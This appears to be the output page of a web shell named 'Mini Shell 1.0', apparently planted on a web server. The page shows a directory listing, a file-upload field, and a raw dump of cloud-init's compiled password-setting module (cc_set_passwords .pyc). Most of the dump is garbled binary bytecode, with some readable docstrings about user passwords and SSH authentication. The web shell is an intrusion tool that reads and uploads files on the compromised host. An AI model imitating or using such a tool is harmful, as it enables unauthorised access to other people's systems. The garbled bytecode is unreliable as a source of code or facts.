HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/config/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/config/__pycache__/cc_set_passwords.cpython-311.pyc
�

܍~c/����UdZddlZddlmZddlmZmZddlmZddl	m
Z
ddlmZddlm
Zdd	lmZmZdd
lmZddlmZddlmZmZdd
lmZmZmZddlmZddlmZdZdddeegeed��ed��ggd�Z ee!d<ee ��Zej"e#��Z$d�%d�eezD����Z&de'de(de'fd�Z)defd�Z*d e(d!ed"ed#ed$e'ddfd%�Z+d(d'�Z,dS))zFSet Passwords: Set user passwords and enable/disable SSH password auth�N)�Logger)�
ascii_letters�digits)�dedent)�List)�features)�log)�subp�util)�Cloud)�Config)�
MetaSchema�get_meta_doc)�ALL_DISTROS�Distro�ug_util)�PER_INSTANCE)�update_ssh_configa�This module consumes three top-level config keys: ``ssh_pwauth``, ``chpasswd``
and ``password``.

The ``ssh_pwauth`` config key determines whether or not sshd will be configured
to accept password authentication.

The ``chpasswd`` config key accepts a dictionary containing either or both of
``users`` and ``expire``. The ``users`` key is used to assign a password to a
corresponding pre-existing user. The ``expire`` key is used to set
whether to expire all user passwords specified by this module,
such that a password will need to be reset on the user's next login.

.. note::
    Prior to cloud-init 22.3, the ``expire`` key only applies to plain text
    (including ``RANDOM``) passwords. Post 22.3, the ``expire`` key applies to
    both plain text and hashed passwords.

``password`` config key is used to set the default user's password. It is
ignored if the ``chpasswd`` ``users`` is used. Note: the ``list`` keyword is
deprecated in favor of ``users``.
�cc_set_passwordsz
Set Passwordsz7Set user passwords and enable/disable SSH password authz�            # Set a default password that would need to be changed
            # at first login
            ssh_pwauth: true
            password: password1
            aU            # Disable ssh password authentication
            # Don't require users to change their passwords on next login
            # Set the password for user1 to be 'password1' (OS does hashing)
            # Set the password for user2 to a pre-hashed password
            # Set the password for user3 to be a randomly generated password,
            #   which will be written to the system console
            ssh_pwauth: false
            chpasswd:
              expire: false
              users:
                - name: user1
                  password: password1
                  type: text
                - name: user2
                  password: $6$rounds=4096$5DJ8a9WMTEzIo5J4$Yms6imfeBvf3Yfu84mQBerh18l7OR1Wm1BJXZqFSpJ6BVas0AYJqIjP7czkOaAZHZi1kxQ5Y1IhgWN8K9NgxR1
                - name: user3
                  type: RANDOM
            )�id�name�title�description�distros�	frequency�examples�activate_by_schema_keys�meta�c��g|]}|dv�|��	S)�loLOI01�)�.0�xs  �C/usr/lib/python3/dist-packages/cloudinit/config/cc_set_passwords.py�
<listcomp>r&_s"��J�J�J��q�	�7I�7I�!�7I�7I�7I��
users_list�pw_type�returnc�(��|sgn
�fd�|D��S)zDeither password or type: RANDOM is required, user is always requiredc���g|]:}|�dd���k�|d|�dd��f��;S)�type�hashr�password�RANDOM)�get)r#�itemr)s  �r%r&z%get_users_by_type.<locals>.<listcomp>gsS���
�
�
���x�x���'�'�7�2�2��&�\�4�8�8�J��9�9�:�2�2�2r'r")r(r)s `r%�get_users_by_typer3bs<����	
���
�
�
�
�"�
�
�
�r'�distroc�l�|�dd��}d}	|�d|��n�#tj$r�}|���}|st
�d||��d}nz|jdkrt
�d||��d}nP|jd	kr"t
�d
||��Yd}~dSt
�d|||��Yd}~dSYd}~nd}~wwxYwd
}t|t��rt
�d��tj|��rd}nrtj
|��rd}n[d|�d�}|�|���dkrt
�d||��nt
�d||��dSt||i��}	|	st
�d|��dS|r2|�d|��t
�d��dSt
�d��dS)z�Apply sshd PasswordAuthentication changes.

    @param pw_auth: config setting from 'pw_auth'.
                    Best given as True, False, or "unchanged".
    @param distro: an instance of the distro class for the target distribution

    @return: None�ssh_svcname�sshT�statuszsWriting config 'ssh_pwauth: %s'. SSH service '%s' will not be restarted because it is not running or not available.F�z^Writing config 'ssh_pwauth: %s'. SSH service '%s' will not be restarted because it is stopped.�zDIgnoring config 'ssh_pwauth: %s'. SSH service '%s' is not installed.NzOIgnoring config 'ssh_pwauth: %s'. SSH service '%s' is not available. Error: %s.�PasswordAuthenticationz�DEPRECATION: The 'ssh_pwauth' config key should be set to a boolean value. The string format is deprecated and will be removed in a future version of cloud-init.�yes�nozLeaving SSH config 'z' unchanged.�	unchangedz%s ssh_pwauth=%sz$%s Unrecognized value: ssh_pwauth=%sz/No need to restart SSH service, %s not updated.�restartzRestarted the SSH daemon.z/Not restarting SSH service: service is stopped.)�
get_option�manage_servicer
�ProcessExecutionError�uses_systemd�LOG�debug�	exit_code�warning�
isinstance�strr�is_true�is_false�lowerr)
�pw_authr4�service�restart_ssh�erC�cfg_name�cfg_val�bmsg�updateds
          r%�handle_ssh_pwauthrUos������
�u�5�5�G��K�'����h��0�0�0�0���%�%�%�%��*�*�,�,���#	��I�I����
�
�
� �K�K�
�[�A�
�
��I�I�@���	
�
�
� �K�K�
�[�A�
�
��K�K�6���	
�
�
�
�F�F�F�F�F��K�K�A����
�
�
�
�F�F�F�F�F����������K%����N(�H��'�3���
����
9�	
�	
�	
�
�|�G���
����	
��w�	�	�����<�h�<�<�<���?�g�m�m�o�o��<�<��I�I�(�$��8�8�8�8��K�K�>��g�N�N�N�����7� 3�4�4�G����	�	�C�X�N�N�N����E����i��1�1�1��	�	�-�.�.�.�.�.��	�	�C�D�D�D�D�Ds�1�C9�BC4�C4�4C9r�cfg�cloudr	�argsc�t
�|j}|r |d}d|vrd|dvr	|dd=ntj|dd��}d}g}g}	d|vr�|d}
tj|
dg���}	d|
vr�|
dr�|�d��t|
dt��r,|�d	��tj|
d|��}nU|�d
��|�d��tj|
d��}|r|���}tj	|
d|��}|	sS|sQ|rOtj||��\}}
tj|��\}}|r	|�d
|��g}n|�d��g}|s|	�rCt|	d��}d�|D��}t|	d��}d�|D��}g}t|	d��D]Y\}}t��}|�|��|�||f��|�|�d
|�����Zt!jd��}|D]�}|�d
d��\}}|�|���1d
|vr-|�||f��|�|���a|dks|dkr(t��}|�|�d
|����|�||f��|�|����|rq	|�d|��|�|d���nB#t*$r5}|�|��tj|d|��Yd}~nd}~wwxYw|rq	|�d|��|�|d���nB#t*$r5}|�|��tj|d|��Yd}~nd}~wwxYwt/|��r1dd�|��f}tjd|zdd� ��|r�|}t4jr||z
}g}|D]o}	|�|��|�|���.#t*$r5}|�|��tj|d!|��Yd}~�hd}~wwxYw|r|�d"|��t;|�d#��|��t/|��r+|�d$t/|����|d%�dS)&Nr�chpasswd�listr/T�users)�defaultz8DEPRECATION: key 'lists' is now deprecated. Use 'users'.z$Handling input for chpasswd as list.z�DEPRECATION: The chpasswd multiline string format is deprecated and will be removed from a future version of cloud-init. Use the list format instead.z0Handling input for chpasswd as multiline string.�expire�:z2No default or defined user to change password for.�textc��g|]\}}|��Sr"r"�r#�user�_s   r%r&zhandle.<locals>.<listcomp>�s��.�.�.�'�$���.�.�.r'r.c��g|]\}}|��Sr"r"rbs   r%r&zhandle.<locals>.<listcomp>�s��<�<�<���q��<�<�<r'r0z\$(1|2a|2y|5|6)(\$.+){2}��RzChanging password for %s:F)�hashedz,Failed to set passwords with chpasswd for %szSetting hashed password for %s:z3Failed to set hashed passwords with chpasswd for %sz%Set the following 'random' passwords
�
z%s
%s
)�stderr�fallback_to_stdoutzFailed to set 'expire' for %szExpired passwords for: %s users�
ssh_pwauthz+%s errors occurred, re-raising the last one���)r4r�get_cfg_option_str�get_cfg_option_listrGrHr[rE�
splitlines�get_cfg_option_boolr�normalize_users_groups�extract_defaultr3�rand_user_password�append�re�compile�split�matchrZ�	Exception�logexc�len�join�	multi_logr�EXPIRE_APPLIES_TO_HASHED_USERS�
expire_passwdrUr1)rrVrWr	rXr4r/r^�plistr(�chfg�	multiliner\�_groupsrc�_user_config�errors�plist_in�hashed_plist_in�hashed_users�randlistrd�prog�line�u�prP�blurb�users_to_expire�
expired_userss                              r%�handler��sl���\�F��B���7�������3�z�?�!:�!:��J���'���*�3�
�D�A�A��
�F��E��J��S����:����-�d�G�R�H�H�H�
��T�>�>�d�6�l�>��K�K�J�
�
�
��$�v�,��-�-�
3��	�	�@�A�A�A��0��v�u�E�E������?����
�	�	�L�M�M�M� �3�D�&�A�A�	��3�%�0�0�2�2�E��)�$��&�A�A���N�%�N�X�N�"�9�#�v�F�F����&�6�u�=�=���|��	N� $���h�h�/�0�E�E��K�K�L�M�M�M�
�F��OL�
�OL�%�Z��8�8��.�.�X�.�.�.��+�J��?�?��<�<�O�<�<�<����(��X�>�>�	2�	2�G�D�!�)�+�+�H��L�L������O�O�T�8�,�-�-�-��O�O�t�0�0�h�0�0�1�1�1�1��z�5�6�6���	 �	 �D��:�:�c�1�%�%�D�A�q��z�z�!�}�}�(�S��\�\��&�&��1�v�.�.�.��#�#�A�&�&�&�&���8�8�q�H�}�}�*�,�,�A��O�O�q�q�q�!�!�$4�5�5�5�����A��'�'�'����Q������	�
��	�	�5�u�=�=�=�������7�7�7�7���
�
�
��
�
�a� � � ����G��������������
�����
	�	
��	�	�;�\�J�J�J�������=�=�=�=���
�
�
��
�
�a� � � ����I� �������������
�����x�=�=�	�8��	�	�(�#�#��E�
�N��U�"�5�U�
�
�
�
��
	L�#�O��6�
0��<�/���M�$�
I�
I��I��(�(��+�+�+�!�(�(��+�+�+�+�� �I�I�I��M�M�!�$�$�$��K��%D�a�H�H�H�H�H�H�H�H�����I�����
L��	�	�;�]�K�K�K��c�g�g�l�+�+�V�4�4�4�
�6�{�{���	�	�?��V���M�M�M��R�j���sH�-M�
N�+M?�?N�
-N8�8
O7�+O2�2O7�*R�
S�+R;�;S�c�8�tj|t���S)N)�select_from)r�rand_str�PW_SET)�pwlens r%rtrtJs���=��F�3�3�3�3r')r�)-�__doc__rv�loggingr�stringrr�textwrapr�typingr�	cloudinitrr	r
r�cloudinit.cloudr�cloudinit.configr
�cloudinit.config.schemarr�cloudinit.distrosrrr�cloudinit.settingsr�cloudinit.ssh_utilr�MODULE_DESCRIPTIONr�__annotations__�	getLogger�__name__rDr}r�r[rIr3rUr�rtr"r'r%�<module>r�s���M�L�L�	�	�	�	�������(�(�(�(�(�(�(�(�������������������$�$�$�$�$�$� � � � � � � � �!�!�!�!�!�!�#�#�#�#�#�#�<�<�<�<�<�<�<�<�:�:�:�:�:�:�:�:�:�:�+�+�+�+�+�+�0�0�0�0�0�0���0��
F�%��}����
�	
�	
�	��
�	
�	
��> "�M'�'��j�'�'�'�R�,�t�
�
���g���!�!��
���J�J�]�V�3�J�J�J�	K�	K��
�$�
��
��
�
�
�
�PE�v�PE�PE�PE�PE�fE�

�E��E�#(�E�/5�E�=A�E�	�E�E�E�E�P4�4�4�4�4�4r'